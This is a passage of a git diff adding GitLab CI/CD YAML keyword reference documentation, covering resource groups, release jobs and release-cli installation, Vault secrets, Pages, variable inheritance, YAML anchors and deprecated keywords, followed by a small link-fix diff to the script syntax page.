environment. For example, +when deploying to physical devices, you may have multiple physical devices. Each device +can be deployed to, but there can be only one deployment per device at any given time. + +The `resource_group` value can only contain letters, digits, `-`, `_`, `/`, `$`, `{`, `}`, `.`, and spaces. +It can't start or end with `/`. + +For more information, see [Deployments Safety](../environments/deployment_safety.md). + +#### Pipeline-level concurrency control with Cross-Project/Parent-Child pipelines + +> [Introduced](https://gitlab.com/gitlab-org/gitlab/-/issues/39057) in GitLab 13.9. + +You can define `resource_group` for downstream pipelines that are sensitive to concurrent +executions. The [`trigger` keyword](#trigger) can trigger downstream pipelines. The +[`resource_group` keyword](#resource_group) can co-exist with it. This is useful to control the +concurrency for deployment pipelines, while running non-sensitive jobs concurrently. + +The following example has two pipeline configurations in a project. When a pipeline starts running, +non-sensitive jobs are executed first and aren't affected by concurrent executions in other +pipelines. However, GitLab ensures that there are no other deployment pipelines running before +triggering a deployment (child) pipeline. If other deployment pipelines are running, GitLab waits +until those pipelines finish before running another one. + +```yaml +# .gitlab-ci.yml (parent pipeline) + +build: + stage: build + script: echo "Building..." + +test: + stage: test + script: echo "Testing..." + +deploy: + stage: deploy + trigger: + include: deploy.gitlab-ci.yml + strategy: depend + resource_group: AWS-production +``` + +```yaml +# deploy.gitlab-ci.yml (child pipeline) + +stages: + - provision + - deploy + +provision: + stage: provision + script: echo "Provisioning..." + +deployment: + stage: deploy + script: echo "Deploying..." +``` + +You must define [`strategy: depend`](#linking-pipelines-with-triggerstrategy) +with the `trigger` keyword. This ensures that the lock isn't released until the downstream pipeline +finishes. + +### `release` + +> [Introduced](https://gitlab.com/gitlab-org/gitlab/-/merge_requests/19298) in GitLab 13.2. + +Use `release` to create a [release](../../user/project/releases/index.md). +Requires the [`release-cli`](https://gitlab.com/gitlab-org/release-cli/-/tree/master/docs) +to be available in your GitLab Runner Docker or shell executor. + +These keywords are supported: + +- [`tag_name`](#releasetag_name) +- [`description`](#releasedescription) +- [`name`](#releasename) (optional) +- [`ref`](#releaseref) (optional) +- [`milestones`](#releasemilestones) (optional) +- [`released_at`](#releasereleased_at) (optional) +- [`assets:links`](#releaseassetslinks) (optional) + +The release is created only if the job processes without error. If the Rails API +returns an error during release creation, the `release` job fails. + +#### `release-cli` Docker image + +You must specify the Docker image to use for the `release-cli`: + +```yaml +image: registry.gitlab.com/gitlab-org/release-cli:latest +``` + +#### `release-cli` for shell executors + +> [Introduced](https://gitlab.com/gitlab-org/release-cli/-/issues/21) in GitLab 13.8. + +For GitLab Runner shell executors, you can download and install the `release-cli` manually for your [supported OS and architecture](https://release-cli-downloads.s3.amazonaws.com/latest/index.html). +Once installed, the `release` keyword should be available to you. + +**Install on Unix/Linux** + +1. Download the binary for your system, in the following example for amd64 systems: + + ```shell + curl --location --output /usr/local/bin/release-cli "https://release-cli-downloads.s3.amazonaws.com/latest/release-cli-linux-amd64" + ``` + +1. Give it permissions to execute: + + ```shell + sudo chmod +x /usr/local/bin/release-cli + ``` + +1. Verify `release-cli` is available: + + ```shell + $ release-cli -v + + release-cli version 0.6.0 + ``` + +**Install on Windows PowerShell** + +1. Create a folder somewhere in your system, for example `C:\GitLab\Release-CLI\bin` + + ```shell + New-Item -Path 'C:\GitLab\Release-CLI\bin' -ItemType Directory + ``` + +1. Download the executable file: + + ```shell + PS C:\> Invoke-WebRequest -Uri "https://release-cli-downloads.s3.amazonaws.com/latest/release-cli-windows-amd64.exe" -OutFile "C:\GitLab\Release-CLI\bin\release-cli.exe" + + Directory: C:\GitLab\Release-CLI + Mode LastWriteTime Length Name + ---- ------------- ------ ---- + d----- 3/16/2021 4:17 AM bin + + ``` + +1. Add the directory to your `$env:PATH`: + + ```shell + $env:PATH += ";C:\GitLab\Release-CLI\bin" + ``` + +1. Verify `release-cli` is available: + + ```shell + PS C:\> release-cli -v + + release-cli version 0.6.0 + ``` + +#### Use a custom SSL CA certificate authority + +You can use the `ADDITIONAL_CA_CERT_BUNDLE` CI/CD variable to configure a custom SSL CA certificate authority, +which is used to verify the peer when the `release-cli` creates a release through the API using HTTPS with custom certificates. +The `ADDITIONAL_CA_CERT_BUNDLE` value should contain the +[text representation of the X.509 PEM public-key certificate](https://tools.ietf.org/html/rfc7468#section-5.1) +or the `path/to/file` containing the certificate authority. +For example, to configure this value in the `.gitlab-ci.yml` file, use the following: + +```yaml +release: + variables: + ADDITIONAL_CA_CERT_BUNDLE: | + -----BEGIN CERTIFICATE----- + MIIGqTCCBJGgAwIBAgIQI7AVxxVwg2kch4d56XNdDjANBgkqhkiG9w0BAQsFADCB + ... + jWgmPqF3vUbZE0EyScetPJquRFRKIesyJuBFMAs= + -----END CERTIFICATE----- + script: + - echo "Create release" + release: + name: 'My awesome release' + tag_name: '$CI_COMMIT_TAG' +``` + +The `ADDITIONAL_CA_CERT_BUNDLE` value can also be configured as a +[custom variable in the UI](../variables/index.md#custom-cicd-variables), +either as a `file`, which requires the path to the certificate, or as a variable, +which requires the text representation of the certificate. + +#### `script` + +All jobs except [trigger](#trigger) jobs must have the `script` keyword. A `release` +job can use the output from script commands, but you can use a placeholder script if +the script is not needed: + +```yaml +script: + - echo 'release job' +``` + +An [issue](https://gitlab.com/gitlab-org/gitlab/-/issues/223856) exists to remove this requirement in an upcoming version of GitLab. + +A pipeline can have multiple `release` jobs, for example: + +```yaml +ios-release: + script: + - echo 'iOS release job' + release: + tag_name: v1.0.0-ios + description: 'iOS release v1.0.0' + +android-release: + script: + - echo 'Android release job' + release: + tag_name: v1.0.0-android + description: 'Android release v1.0.0' +``` + +#### `release:tag_name` + +You must specify a `tag_name` for the release. The tag can refer to an existing Git tag or +you can specify a new tag. + +When the specified tag doesn't exist in the repository, a new tag is created from the associated SHA of the pipeline. + +For example, when creating a release from a Git tag: + +```yaml +job: + release: + tag_name: $CI_COMMIT_TAG + description: 'Release description' +``` + +It is also possible for the release job to automatically create a new unique tag. In that case, +do not use [`rules`](#rules) or [`only`](#only--except) to configure the job to +only run for tags. + +A semantic versioning example: + +```yaml +job: + release: + tag_name: ${MAJOR}_${MINOR}_${REVISION} + description: 'Release description' +``` + +- The release is created only if the job's main script succeeds. +- If the release already exists, it is not updated and the job with the `release` keyword fails. +- The `release` section executes after the `script` tag and before the `after_script`. + +#### `release:name` + +The release name. If omitted, it is populated with the value of `release: tag_name`. + +#### `release:description` + +Specifies the long description of the release. You can also specify a file that contains the +description. + +##### Read description from a file + +> [Introduced](https://gitlab.com/gitlab-org/release-cli/-/merge_requests/67) in GitLab 13.7. + +You can specify a file in `$CI_PROJECT_DIR` that contains the description. The file must be relative +to the project directory (`$CI_PROJECT_DIR`), and if the file is a symbolic link it can't reside +outside of `$CI_PROJECT_DIR`. The `./path/to/file` and filename can't contain spaces. + +```yaml +job: + release: + tag_name: ${MAJOR}_${MINOR}_${REVISION} + description: './path/to/CHANGELOG.md' +``` + +#### `release:ref` + +If the `release: tag_name` doesn't exist yet, the release is created from `ref`. +`ref` can be a commit SHA, another tag name, or a branch name. + +#### `release:milestones` + +The title of each milestone the release is associated with. + +#### `release:released_at` + +The date and time when the release is ready. Defaults to the current date and time if not +defined. Should be enclosed in quotes and expressed in ISO 8601 format. + +```json +released_at: '2021-03-15T08:00:00Z' +``` + +#### `release:assets:links` + +> [Introduced](https://gitlab.com/gitlab-org/gitlab/-/issues/271454) in GitLab 13.12. + +Include [asset links](../../user/project/releases/index.md#release-assets) in the release. + +NOTE: +Requires `release-cli` version v0.4.0 or higher. + +```yaml +assets: + links: + - name: 'asset1' + url: 'https://example.com/assets/1' + - name: 'asset2' + url: 'https://example.com/assets/2' + filepath: '/pretty/url/1' # optional + link_type: 'other' # optional +``` + +#### Complete example for `release` + +If you combine the previous examples for `release`, you get two options, depending on how you generate the +tags. You can't use these options together, so choose one: + +- To create a release when you push a Git tag, or when you add a Git tag + in the UI by going to **Repository > Tags**: + + ```yaml + release_job: + stage: release + image: registry.gitlab.com/gitlab-org/release-cli:latest + rules: + - if: $CI_COMMIT_TAG # Run this job when a tag is created manually + script: + - echo 'running release_job' + release: + name: 'Release $CI_COMMIT_TAG' + description: 'Created using the release-cli $EXTRA_DESCRIPTION' # $EXTRA_DESCRIPTION must be defined + tag_name: '$CI_COMMIT_TAG' # elsewhere in the pipeline. + ref: '$CI_COMMIT_TAG' + milestones: + - 'm1' + - 'm2' + - 'm3' + released_at: '2020-07-15T08:00:00Z' # Optional, is auto generated if not defined, or can use a variable. + assets: # Optional, multiple asset links + links: + - name: 'asset1' + url: 'https://example.com/assets/1' + - name: 'asset2' + url: 'https://example.com/assets/2' + filepath: '/pretty/url/1' # optional + link_type: 'other' # optional + ``` + +- To create a release automatically when commits are pushed or merged to the default branch, + using a new Git tag that is defined with variables: + + NOTE: + Environment variables set in `before_script` or `script` are not available for expanding + in the same job. Read more about + [potentially making variables available for expanding](https://gitlab.com/gitlab-org/gitlab-runner/-/issues/6400). + + ```yaml + prepare_job: + stage: prepare # This stage must run before the release stage + rules: + - if: $CI_COMMIT_TAG + when: never # Do not run this job when a tag is created manually + - if: $CI_COMMIT_BRANCH == $CI_DEFAULT_BRANCH # Run this job when commits are pushed or merged to the default branch + script: + - echo "EXTRA_DESCRIPTION=some message" >> variables.env # Generate the EXTRA_DESCRIPTION and TAG environment variables + - echo "TAG=v$(cat VERSION)" >> variables.env # and append to the variables.env file + artifacts: + reports: + dotenv: variables.env # Use artifacts:reports:dotenv to expose the variables to other jobs + + release_job: + stage: release + image: registry.gitlab.com/gitlab-org/release-cli:latest + needs: + - job: prepare_job + artifacts: true + rules: + - if: $CI_COMMIT_TAG + when: never # Do not run this job when a tag is created manually + - if: $CI_COMMIT_BRANCH == $CI_DEFAULT_BRANCH # Run this job when commits are pushed or merged to the default branch + script: + - echo 'running release_job for $TAG' + release: + name: 'Release $TAG' + description: 'Created using the release-cli $EXTRA_DESCRIPTION' # $EXTRA_DESCRIPTION and the $TAG + tag_name: '$TAG' # variables must be defined elsewhere + ref: '$CI_COMMIT_SHA' # in the pipeline. For example, in the + milestones: # prepare_job + - 'm1' + - 'm2' + - 'm3' + released_at: '2020-07-15T08:00:00Z' # Optional, is auto generated if not defined, or can use a variable. + assets: + links: + - name: 'asset1' + url: 'https://example.com/assets/1' + - name: 'asset2' + url: 'https://example.com/assets/2' + filepath: '/pretty/url/1' # optional + link_type: 'other' # optional + ``` + +#### Release assets as Generic packages + +You can use [Generic packages](../../user/packages/generic_packages/) to host your release assets. +For a complete example, see the [Release assets as Generic packages](https://gitlab.com/gitlab-org/release-cli/-/tree/master/docs/examples/release-assets-as-generic-package/) +project. + +#### `release-cli` command line + +The entries under the `release` node are transformed into a `bash` command line and sent +to the Docker container, which contains the [release-cli](https://gitlab.com/gitlab-org/release-cli). +You can also call the `release-cli` directly from a `script` entry. + +For example, if you use the YAML described previously: + +```shell +release-cli create --name "Release $CI_COMMIT_SHA" --description "Created using the release-cli $EXTRA_DESCRIPTION" --tag-name "v${MAJOR}.${MINOR}.${REVISION}" --ref "$CI_COMMIT_SHA" --released-at "2020-07-15T08:00:00Z" --milestone "m1" --milestone "m2" --milestone "m3" --assets-link "{\"name\":\"asset1\",\"url\":\"https://example.com/assets/1\",\"link_type\":\"other\"} +``` + +### `secrets` + +> [Introduced](https://gitlab.com/gitlab-org/gitlab/-/merge_requests/33014) in GitLab 13.4. + +Use `secrets` to specify the [CI/CD Secrets](../secrets/index.md) the job needs. It should be a hash, +and the keys should be the names of the variables that are made available to the job. +The value of each secret is saved in a temporary file. This file's path is stored in these +variables. + +#### `secrets:vault` **(PREMIUM)** + +> - [Introduced](https://gitlab.com/gitlab-org/gitlab/-/issues/28321) in GitLab 13.4 and GitLab Runner 13.4. + +Use `vault` to specify secrets provided by [Hashicorp's Vault](https://www.vaultproject.io/). + +This syntax has multiple forms. The shortest form assumes the use of the +[KV-V2](https://www.vaultproject.io/docs/secrets/kv/kv-v2) secrets engine, +mounted at the default path `kv-v2`. The last part of the secret's path is the +field to fetch the value for: + +```yaml +job: + secrets: + DATABASE_PASSWORD: + vault: production/db/password # translates to secret `kv-v2/data/production/db`, field `password` +``` + +You can specify a custom secrets engine path by adding a suffix starting with `@`: + +```yaml +job: + secrets: + DATABASE_PASSWORD: + vault: production/db/password@ops # translates to secret `ops/data/production/db`, field `password` +``` + +In the detailed form of the syntax, you can specify all details explicitly: + +```yaml +job: + secrets: + DATABASE_PASSWORD: # translates to secret `ops/data/production/db`, field `password` + vault: + engine: + name: kv-v2 + path: ops + path: production/db + field: password +``` + +#### `secrets:file` **(PREMIUM)** + +> [Introduced](https://gitlab.com/gitlab-org/gitlab/-/issues/250695) in GitLab 14.1 and GitLab Runner 14.1. + +By default, the secret is passed to the job context as a variable of type +[`file`](../variables/index.md#cicd-variable-types). The value of the +secret is stored in a file and the variable `DATABASE_PASSWORD` contains a path to the file. + +However, some software does not work with file variables and might require the secret value to be stored +directly in the environment variable. For that case, define a `file` setting: + +```yaml +job: + secrets: + DATABASE_PASSWORD: + vault: production/db/password@ops + file: false +``` + +When you set `file: false`, no files are created for that variable. It contains the secret +itself instead. + +The `file` is a setting of the secret, so it belongs directly under the variable +name level and not in the `vault` section. + +### `pages` + +Use `pages` to upload static content to GitLab. The content +is then published as a website. You must: + +- Place any static content in a `public/` directory. +- Define [`artifacts`](#artifacts) with a path to the `public/` directory. + +The following example moves all files from the root of the project to the +`public/` directory. The `.public` workaround is so `cp` does not also copy +`public/` to itself in an infinite loop: + +```yaml +pages: + stage: deploy + script: + - mkdir .public + - cp -r * .public + - mv .public public + artifacts: + paths: + - public + rules: + - if: $CI_COMMIT_BRANCH == $CI_DEFAULT_BRANCH +``` + +View the [GitLab Pages user documentation](../../user/project/pages/index.md). + +### `inherit` + +> [Introduced](https://gitlab.com/gitlab-org/gitlab/-/issues/207484) in GitLab 12.9. + +Use `inherit:` to control inheritance of globally-defined defaults +and variables. + +To enable or disable the inheritance of all `default:` or `variables:` keywords, use: + +- `default: true` or `default: false` +- `variables: true` or `variables: false` + +To inherit only a subset of `default:` keywords or `variables:`, specify what +you wish to inherit. Anything not listed is **not** inherited. Use +one of the following formats: + +```yaml +inherit: + default: [keyword1, keyword2] + variables: [VARIABLE1, VARIABLE2] +``` + +Or: + +```yaml +inherit: + default: + - keyword1 + - keyword2 + variables: + - VARIABLE1 + - VARIABLE2 +``` + +In the following example: + +- `rubocop`: + - inherits: Nothing. +- `rspec`: + - inherits: the default `image` and the `WEBHOOK_URL` variable. + - does **not** inherit: the default `before_script` and the `DOMAIN` variable. +- `capybara`: + - inherits: the default `before_script` and `image`. + - does **not** inherit: the `DOMAIN` and `WEBHOOK_URL` variables. +- `karma`: + - inherits: the default `image` and `before_script`, and the `DOMAIN` variable. + - does **not** inherit: `WEBHOOK_URL` variable. + +```yaml +default: + image: 'ruby:2.4' + before_script: + - echo Hello World + +variables: + DOMAIN: example.com + WEBHOOK_URL: https://my-webhook.example.com + +rubocop: + inherit: + default: false + variables: false + script: bundle exec rubocop + +rspec: + inherit: + default: [image] + variables: [WEBHOOK_URL] + script: bundle exec rspec + +capybara: + inherit: + variables: false + script: bundle exec capybara + +karma: + inherit: + default: true + variables: [DOMAIN] + script: karma +``` + +## `variables` + +> Introduced in GitLab Runner v0.5.0. + +[CI/CD variables](../variables/index.md) are configurable values that are passed to jobs. +They can be set globally and per-job. + +There are two types of variables. + +- [Custom variables](../variables/index.md#custom-cicd-variables): + You can define their values in the `.gitlab-ci.yml` file, in the GitLab UI, + or by using the API. You can also input variables in the GitLab UI when + [running a pipeline manually](../pipelines/index.md#run-a-pipeline-manually). +- [Predefined variables](../variables/predefined_variables.md): + These values are set by the runner itself. + One example is `CI_COMMIT_REF_NAME`, which is the branch or tag the project is built for. + +After you define a variable, you can use it in all executed commands and scripts. + +Variables are meant for non-sensitive project configuration, for example: + +```yaml +variables: + DEPLOY_SITE: "https://example.com/" + +deploy_job: + stage: deploy + script: + - deploy-script --url $DEPLOY_SITE --path "/" + +deploy_review_job: + stage: deploy + variables: + REVIEW_PATH: "/review" + script: + - deploy-review-script --url $DEPLOY_SITE --path $REVIEW_PATH +``` + +You can use only integers and strings for the variable's name and value. + +If you define a variable at the top level of the `gitlab-ci.yml` file, it is global, +meaning it applies to all jobs. If you define a variable in a job, it's available +to that job only. + +If a variable of the same name is defined globally and for a specific job, the +[job-specific variable overrides the global variable](../variables/index.md#cicd-variable-precedence). + +All YAML-defined variables are also set to any linked +[Docker service containers](../services/index.md). + +You can use [YAML anchors for variables](#yaml-anchors-for-variables). + +### Prefill variables in manual pipelines + +> [Introduced in](https://gitlab.com/gitlab-org/gitlab/-/issues/30101) GitLab 13.7. + +Use the `value` and `description` keywords to define [pipeline-level (global) variables that are prefilled](../pipelines/index.md#prefill-variables-in-manual-pipelines) +when [running a pipeline manually](../pipelines/index.md#run-a-pipeline-manually): + +```yaml +variables: + DEPLOY_ENVIRONMENT: + value: "staging" # Deploy to staging by default + description: "The deployment target. Change this variable to 'canary' or 'production' if needed." +``` + +You cannot set job-level variables to be pre-filled when you run a pipeline manually. + +### Configure runner behavior with variables + +You can use [CI/CD variables](../variables/index.md) to configure how the runner processes Git requests: + +- [`GIT_STRATEGY`](../runners/configure_runners.md#git-strategy) +- [`GIT_SUBMODULE_STRATEGY`](../runners/configure_runners.md#git-submodule-strategy) +- [`GIT_CHECKOUT`](../runners/configure_runners.md#git-checkout) +- [`GIT_CLEAN_FLAGS`](../runners/configure_runners.md#git-clean-flags) +- [`GIT_FETCH_EXTRA_FLAGS`](../runners/configure_runners.md#git-fetch-extra-flags) +- [`GIT_DEPTH`](../runners/configure_runners.md#shallow-cloning) (shallow cloning) +- [`GIT_CLONE_PATH`](../runners/configure_runners.md#custom-build-directories) (custom build directories) +- [`TRANSFER_METER_FREQUENCY`](../runners/configure_runners.md#artifact-and-cache-settings) (artifact/cache meter update frequency) +- [`ARTIFACT_COMPRESSION_LEVEL`](../runners/configure_runners.md#artifact-and-cache-settings) (artifact archiver compression level) +- [`CACHE_COMPRESSION_LEVEL`](../runners/configure_runners.md#artifact-and-cache-settings) (cache archiver compression level) + +You can also use variables to configure how many times a runner +[attempts certain stages of job execution](../runners/configure_runners.md#job-stages-attempts). + +## `dast_configuration` **(ULTIMATE)** + +> [Introduced](https://gitlab.com/groups/gitlab-org/-/epics/5981) in GitLab 14.1. + +Use the `dast_configuration` keyword to specify a site profile and scanner profile to be used in a +CI/CD configuration. Both profiles must first have been created in the project. The job's stage must +be `dast`. + +**Keyword type**: Job keyword. You can use only as part of a job. + +**Possible inputs**: One each of `site_profile` and `scanner_profile`. + +- Use `site_profile` to specify the site profile to be used in the job. +- Use `scanner_profile` to specify the scanner profile to be used in the job. + +**Example of `dast_configuration`**: + +```yaml +stages: + - build + - dast + +include: + - template: DAST.gitlab-ci.yml + +dast: + dast_configuration: + site_profile: "Example Co" + scanner_profile: "Quick Passive Test" +``` + +In this example, the `dast` job extends the `dast` configuration added with the `include:` keyword +to select a specific site profile and scanner profile. + +**Additional details**: + +- Settings contained in either a site profile or scanner profile take precedence over those + contained in the DAST template. + +**Related topics**: + +- [Site profile](../../user/application_security/dast/index.md#site-profile). +- [Scanner profile](../../user/application_security/dast/index.md#scanner-profile). + +## YAML-specific features + +In your `.gitlab-ci.yml` file, you can use YAML-specific features like anchors (`&`), aliases (`*`), +and map merging (`<<`). Use these features to reduce the complexity +of the code in the `.gitlab-ci.yml` file. + +Read more about the various [YAML features](https://learnxinyminutes.com/docs/yaml/). + +In most cases, the [`extends` keyword](#extends) is more user friendly and you should +use it when possible. + +You can use YAML anchors to merge YAML arrays. + +### Anchors + +YAML has a feature called 'anchors' that you can use to duplicate +content across your document. + +Use anchors to duplicate or inherit properties. Use anchors with [hidden jobs](#hide-jobs) +to provide templates for your jobs. When there are duplicate keys, GitLab +performs a reverse deep merge based on the keys. + +You can't use YAML anchors across multiple files when using the [`include`](#include) +keyword. Anchors are only valid in the file they were defined in. To reuse configuration +from different YAML files, use [`!reference` tags](#reference-tags) or the +[`extends` keyword](#extends). + +The following example uses anchors and map merging. It creates two jobs, +`test1` and `test2`, that inherit the `.job_template` configuration, each +with their own custom `script` defined: + +```yaml +.job_template: &job_configuration # Hidden yaml configuration that defines an anchor named 'job_configuration' + image: ruby:2.6 + services: + - postgres + - redis + +test1: + <<: *job_configuration # Merge the contents of the 'job_configuration' alias + script: + - test1 project + +test2: + <<: *job_configuration # Merge the contents of the 'job_configuration' alias + script: + - test2 project +``` + +`&` sets up the name of the anchor (`job_configuration`), `<<` means "merge the +given hash into the current one," and `*` includes the named anchor +(`job_configuration` again). The expanded version of this example is: + +```yaml +.job_template: + image: ruby:2.6 + services: + - postgres + - redis + +test1: + image: ruby:2.6 + services: + - postgres + - redis + script: + - test1 project + +test2: + image: ruby:2.6 + services: + - postgres + - redis + script: + - test2 project +``` + +You can use anchors to define two sets of services. For example, `test:postgres` +and `test:mysql` share the `script` defined in `.job_template`, but use different +`services`, defined in `.postgres_services` and `.mysql_services`: + +```yaml +.job_template: &job_configuration + script: + - test project + tags: + - dev + +.postgres_services: + services: &postgres_configuration + - postgres + - ruby + +.mysql_services: + services: &mysql_configuration + - mysql + - ruby + +test:postgres: + <<: *job_configuration + services: *postgres_configuration + tags: + - postgres + +test:mysql: + <<: *job_configuration + services: *mysql_configuration +``` + +The expanded version is: + +```yaml +.job_template: + script: + - test project + tags: + - dev + +.postgres_services: + services: + - postgres + - ruby + +.mysql_services: + services: + - mysql + - ruby + +test:postgres: + script: + - test project + services: + - postgres + - ruby + tags: + - postgres + +test:mysql: + script: + - test project + services: + - mysql + - ruby + tags: + - dev +``` + +You can see that the hidden jobs are conveniently used as templates, and +`tags: [postgres]` overwrites `tags: [dev]`. + +#### YAML anchors for scripts + +> [Introduced](https://gitlab.com/gitlab-org/gitlab/-/issues/23005) in GitLab 12.5. + +You can use [YAML anchors](#anchors) with [script](#script), [`before_script`](#before_script), +and [`after_script`](#after_script) to use predefined commands in multiple jobs: + +```yaml +.some-script-before: &some-script-before + - echo "Execute this script first" + +.some-script: &some-script + - echo "Execute this script second" + - echo "Execute this script too" + +.some-script-after: &some-script-after + - echo "Execute this script last" + +job1: + before_script: + - *some-script-before + script: + - *some-script + - echo "Execute something, for this job only" + after_script: + - *some-script-after + +job2: + script: + - *some-script-before + - *some-script + - echo "Execute something else, for this job only" + - *some-script-after +``` + +#### YAML anchors for variables + +Use [YAML anchors](#anchors) with `variables` to repeat assignment +of variables across multiple jobs. You can also use YAML anchors when a job +requires a specific `variables` block that would otherwise override the global variables. + +The following example shows how override the `GIT_STRATEGY` variable without affecting +the use of the `SAMPLE_VARIABLE` variable: + +```yaml +# global variables +variables: &global-variables + SAMPLE_VARIABLE: sample_variable_value + ANOTHER_SAMPLE_VARIABLE: another_sample_variable_value + +# a job that must set the GIT_STRATEGY variable, yet depend on global variables +job_no_git_strategy: + stage: cleanup + variables: + <<: *global-variables + GIT_STRATEGY: none + script: echo $SAMPLE_VARIABLE +``` + +### Hide jobs + +If you want to temporarily disable a job, rather than commenting out all the +lines where the job is defined: + +```yaml +# hidden_job: +# script: +# - run test +``` + +Instead, you can start its name with a dot (`.`) and it is not processed by +GitLab CI/CD. In the following example, `.hidden_job` is ignored: + +```yaml +.hidden_job: + script: + - run test +``` + +Use this feature to ignore jobs, or use the +[YAML-specific features](#yaml-specific-features) and transform the hidden jobs +into templates. + +### `!reference` tags + +> - [Introduced](https://gitlab.com/gitlab-org/gitlab/-/issues/266173) in GitLab 13.9. + +Use the `!reference` custom YAML tag to select keyword configuration from other job +sections and reuse it in the current section. Unlike [YAML anchors](#anchors), you can +use `!reference` tags to reuse configuration from [included](#include) configuration +files as well. + +In the following example, a `script` and an `after_script` from two different locations are +reused in the `test` job: + +- `setup.yml`: + + ```yaml + .setup: + script: + - echo creating environment + ``` + +- `.gitlab-ci.yml`: + + ```yaml + include: + - local: setup.yml + + .teardown: + after_script: + - echo deleting environment + + test: + script: + - !reference [.setup, script] + - echo running my own command + after_script: + - !reference [.teardown, after_script] + ``` + +In the following example, `test-vars-1` reuses all the variables in `.vars`, while `test-vars-2` +selects a specific variable and reuses it as a new `MY_VAR` variable. + +```yaml +.vars: + variables: + URL: "http://my-url.internal" + IMPORTANT_VAR: "the details" + +test-vars-1: + variables: !reference [.vars, variables] + script: + - printenv + +test-vars-2: + variables: + MY_VAR: !reference [.vars, variables, IMPORTANT_VAR] + script: + - printenv +``` + +You can't reuse a section that already includes a `!reference` tag. Only one level +of nesting is supported. + +## Skip Pipeline + +To push a commit without triggering a pipeline, add `[ci skip]` or `[skip ci]`, using any +capitalization, to your commit message. + +Alternatively, if you are using Git 2.10 or later, use the `ci.skip` [Git push option](../../user/project/push_options.md#push-options-for-gitlab-cicd). +The `ci.skip` push option does not skip merge request +pipelines. + +## Processing Git pushes + +GitLab creates at most four branch and tag pipelines when +pushing multiple changes in a single `git push` invocation. + +This limitation does not affect any of the updated merge request pipelines. +All updated merge requests have a pipeline created when using +[pipelines for merge requests](../pipelines/merge_request_pipelines.md). + +## Deprecated keywords + +The following keywords are deprecated. + +### Globally-defined `types` + +WARNING: +`types` is deprecated, and could be removed in a future release. +Use [`stages`](#stages) instead. + +### Job-defined `type` + +WARNING: +`type` is deprecated, and could be removed in one of the future releases. +Use [`stage`](#stage) instead. + +### Globally-defined `image`, `services`, `cache`, `before_script`, `after_script` + +Defining `image`, `services`, `cache`, `before_script`, and +`after_script` globally is deprecated. Support could be removed +from a future release. + +Use [`default:`](#custom-default-keyword-values) instead. For example: + +```yaml +default: + image: ruby:3.0 + services: + - docker:dind + cache: + paths: [vendor/] + before_script: + - bundle config set path vendor/bundle + - bundle install + after_script: + - rm -rf tmp/ +``` + +<!-- ## Troubleshooting + +Include any troubleshooting steps that you can foresee. If you know beforehand what issues +one might have when setting this up, or when something is changed, or on upgrading, it's +important to describe those, too. Think of things that may go wrong and include them here. +This is important to minimize requests for support, and to avoid doc comments with +questions that you know someone might ask. + +Each scenario can be a third-level heading, e.g. `### Getting error message X`. +If you have none to add when creating a doc, leave this section in place +but commented out to help encourage others to add to it in the future. --> diff --git a/doc/ci/yaml/script.md b/doc/ci/yaml/script.md index 2e5517f6190..9e118895d7c 100644 --- a/doc/ci/yaml/script.md +++ b/doc/ci/yaml/script.md @@ -5,9 +5,9 @@ info: To determine the technical writer assigned to the Stage/Group associated w type: reference --- -# GitLab CI/CD script syntax +# GitLab CI/CD script syntax **(FREE)** -You can use special syntax in [`script`](README.md#script) sections to: +You can use special syntax in [`script`](index.md#script) sections to: - [Split long commands](#split-long-commands) into multiline commands. - [Use color codes](#add-color-codes-to-script-output) to make job logs easier to review. @@ -121,7 +121,7 @@ job: - echo -e "\e[31mThis text is red,\e[0m but this text isn't\e[31m however this text is red again." ``` -You can define the color codes in Shell environment variables, or even [custom CI/CD variables](../variables/README.md#custom-cicd-variables), +You can define the color codes in Shell environment variables, or even [custom CI/CD variables](../variables/index.md#custom-cicd-variables), which makes the commands easier to read and reusable. For example, using the same example as above and environment variables defined in a `before_script`: |
